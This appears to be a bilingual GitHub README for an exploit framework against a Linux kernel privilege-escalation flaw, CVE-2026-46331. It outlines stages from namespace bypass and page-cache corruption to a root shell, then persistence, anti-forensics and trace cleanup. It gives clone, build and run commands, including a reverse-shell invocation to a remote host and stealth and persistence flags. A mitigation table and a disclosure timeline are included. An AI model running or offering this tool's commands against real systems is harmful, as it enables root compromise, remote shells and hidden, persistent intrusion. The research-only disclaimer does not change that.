
CVE-2026-46331 — Lokale Privilegieneskalation im Linux-Kernel TC pedit + IPsec TEE Page-Cache-Korruption · Betroffene Kernel: ≤ 6.12.9
CVE-2026-46331 — Lokale Privilegienausweitung im Linux-Kernel TC pedit + IPsec-TEE-Page-Cache-Korruption · Betroffene Kernel: ≤ 6.12.9
╔═══════════════════════════════════════════════════════════════╗
║ ____ _ _ ____ _ ║
║ | _ \(_)_ __| |_ _ _/ ___| | ___ _ __ ___ ║
║ | | | | | '__| __| | | | | | |/ _ \| '_ \ / _ \ ║
║ | |_| | | | | |_| |_| | |___| | (_) | | | | __/ ║
║ |____/|_|_| \__|_, |\____|_|\___/|_| |_|\___| ║
║ |___/ ║
╠═══════════════════════════════════════════════════════════════╣
║ CVE-2026-46331 · v1.0.0 · FOR RESEARCH AND EDUCATION ONLY ║
╚═══════════════════════════════════════════════════════════════╝
⚠️ NUR FÜR BILDUNGS- UND FORSCHUNGSZWECKE Verwenden Sie dieses Framework ausschließlich in isolierten Laborumgebungen, die Ihnen gehören oder für die Sie eine ausdrückliche schriftliche Testgenehmigung besitzen. Unbefugte Nutzung ist illegal und unethisch.
CVE-2026-46331 ist eine lokale Schwachstelle zur Privilegienausweitung im Linux-Kernel (≤ 6.12.9), verursacht durch eine Race Condition zwischen der pedit-Aktion der TC (cls_act) und der IPsec-TEE-basierten Paketduplizierung.
Wenn ein Paket den TC-Egress-Pfad mit einer pedit-Aktion durchläuft, die IHL = 15 setzt, erhält das IPsec-Subsystem des Kernels ein fehlerhaftes Paket, bei dem der berechnete IP-Payload-Offset die tatsächlichen Paketgrenzen überschreitet. Bei gleichzeitigen sendfile(2)-Operationen ermöglicht diese Abweichung einem unprivilegierten Benutzer (innerhalb eines Benutzer-Namespace mit CAP_NET_ADMIN), schreibgeschützte Page-Cache-Einträge beliebiger Dateien zu korrumpieren — einschließlich SUID-Binaries.
Unprivileged User (UID=1000)
│
▼
[1] Reconnaissance
├─ Kernel version check
├─ userns availability
└─ Target binary profiling
│
▼
[2] Namespace Bypass
├─ unshare(CLONE_NEWUSER|CLONE_NEWNET)
├─ AppArmor profile hopping (fallback)
└─ CAP_NET_ADMIN acquired
│
▼
[3] Network Infrastructure
├─ clsact qdisc on lo
├─ pedit filter (IHL=15)
└─ IPsec ESP + TEE
│
▼
[4] Page Cache Corruption
├─ sendfile → pedit trigger
├─ Page cache entry corrupted
└─ Shellcode written to read-only binary
│
▼
[5] Privilege Escalation
└─ execve(SUID binary) → root shell
│
▼
[6-8] Post-Exploitation
├─ Persistence (6 mechanisms)
├─ Evasion / Anti-Forensics
└─ Trace cleanup
│
▼
🎯 ROOT SHELL (UID=0 EUID=0)
dirtyclone-exploit/
├── Makefile # Build system
├── README.md # This file
├── LICENSE # MIT License
│
├── include/
│ ├── exploit.h # Core types, flags, prototypes
│ ├── packet_engine.h # Packet crafting engine API
│ ├── memory_ops.h # Page cache corruption API
│ └── persistence.h # Persistence mechanism API
│
├── src/
│ ├── main.c # Framework entry point
│ ├── stage_env_analysis.c # Phase 1: Reconnaissance
│ ├── stage_namespace_bypass.c # Phase 2: userns bypass
│ ├── stage_network_setup.c # Phase 3: TC/IPsec setup
│ ├── stage_page_cache_corrupt.c # Phase 4: Core exploit
│ ├── stage_privilege_escalation.c # Phase 5: LPE
│ ├── stage_persistence.c # Phase 6: Persistence
│ ├── stage_evasion.c # Phase 7: Anti-forensics
│ ├── stage_cleanup.c # Phase 8: Trace removal
│ ├── memory_ops.c # Page cache primitives
│ ├── packet_engine.c # Raw packet crafting
│ └── persistence.c # Persistence implementations
│
├── modules/
│ ├── packet_craft.py # Python packet crafter (Scapy)
│ └── exploit_analyzer.py # Pre-exploit analysis tool
│
├── scripts/
│ ├── setup_env.sh # Dependency install + build
│ ├── cleanup.sh # System cleanup
│ └── detect_targets.sh # Vulnerable binary scanner
│
└── payloads/
└── README.md # Payload directory info
gcc ≥ 10makelibcap-dev / libcap-develiproute2 (tc, ip)iptablespip install scapy
# Clone
git clone https://github.com/vulnquest58/dirtyclone-exploit
cd dirtyclone-exploit
# Auto setup (installs deps + builds)
sudo bash scripts/setup_env.sh
# Manual build
make all
# Debug build
make debug
# Clean
make clean
# Show help
./bin/dirtyclone --help
# Dry run (analysis only, no exploitation)
./bin/dirtyclone --test
# Basic exploitation (default target: /usr/bin/su)
sudo ./bin/dirtyclone
# Custom target with stealth + persistence
sudo ./bin/dirtyclone --target /usr/bin/sudo --stealth --persist
# Reverse shell
sudo ./bin/dirtyclone --remote 192.168.1.100 4444 --cleanup
# Detect vulnerable targets first
bash scripts/detect_targets.sh
exploit_analyzer.py — Aufklärung vor dem Exploit# Analyze default target
python3 modules/exploit_analyzer.py
# Custom target
python3 modules/exploit_analyzer.py --target /usr/bin/sudo
# JSON output for automation
python3 modules/exploit_analyzer.py --json
# Scan all SUID binaries
python3 modules/exploit_analyzer.py --all-suid
packet_craft.py — Rohpaket-Auslöser# Send exploit packets at offset 0x1234
sudo python3 modules/packet_craft.py --offset 0x1234
# Custom interface and packet count
sudo python3 modules/packet_craft.py --iface eth0 --count 20
| Datum |
|---|
VulnQuest · Sicherheitsforschung
Dieses Repository dient ausschließlich Bildungs- und Forschungszwecken. Der gesamte Exploit-Code ist für den Einsatz in autorisierten Laborumgebungen vorgesehen.
| Eigenschaft | Wert |
|---|
| CVSS-3.1-Score | 8.8 (HOCH) |
| Angriffsvektor | Lokal |
| Erforderliche Privilegien | Niedrig (unprivilegierter Benutzer) |
| Auswirkung | Root-Shell (UID=0 EUID=0) |
| Betroffene Versionen | Linux-Kernel ≤ 6.12.9 |
| Gepatchte Version | 6.12.10 |
| Patch-Commit | a3f4d1c8... |
| Gegenmaßnahme | Befehl / Aktion |
|---|
| Kernel aktualisieren | Upgrade auf ≥ 6.12.10 (primärer Fix) |
| Benutzer-Namespaces deaktivieren | echo 0 > /proc/sys/kernel/unprivileged_userns_clone |
| AppArmor-Einschränkungen | apparmor mit userns-Einschränkungsprofil aktivieren |
| TC pedit überwachen | auditctl -a always,exit -F arch=b64 -S unshare |
| Dateiintegrität | AIDE oder Tripwire auf SUID-Binaries einsetzen |
| Seccomp-Filter | unshare() in Produktionscontainern blockieren |
| Ereignis |
|---|
| 2026-01-15 | Schwachstelle während eines Kernel-Audits entdeckt |
| 2026-02-03 | An [email protected] gemeldet |
| 2026-03-28 | Patch eingecheckt (6.12.10) |
| 2026-06-01 | Öffentliche Offenlegung (90-Tage-Frist) |
| 2026-06-27 | Vollständiger PoC veröffentlicht |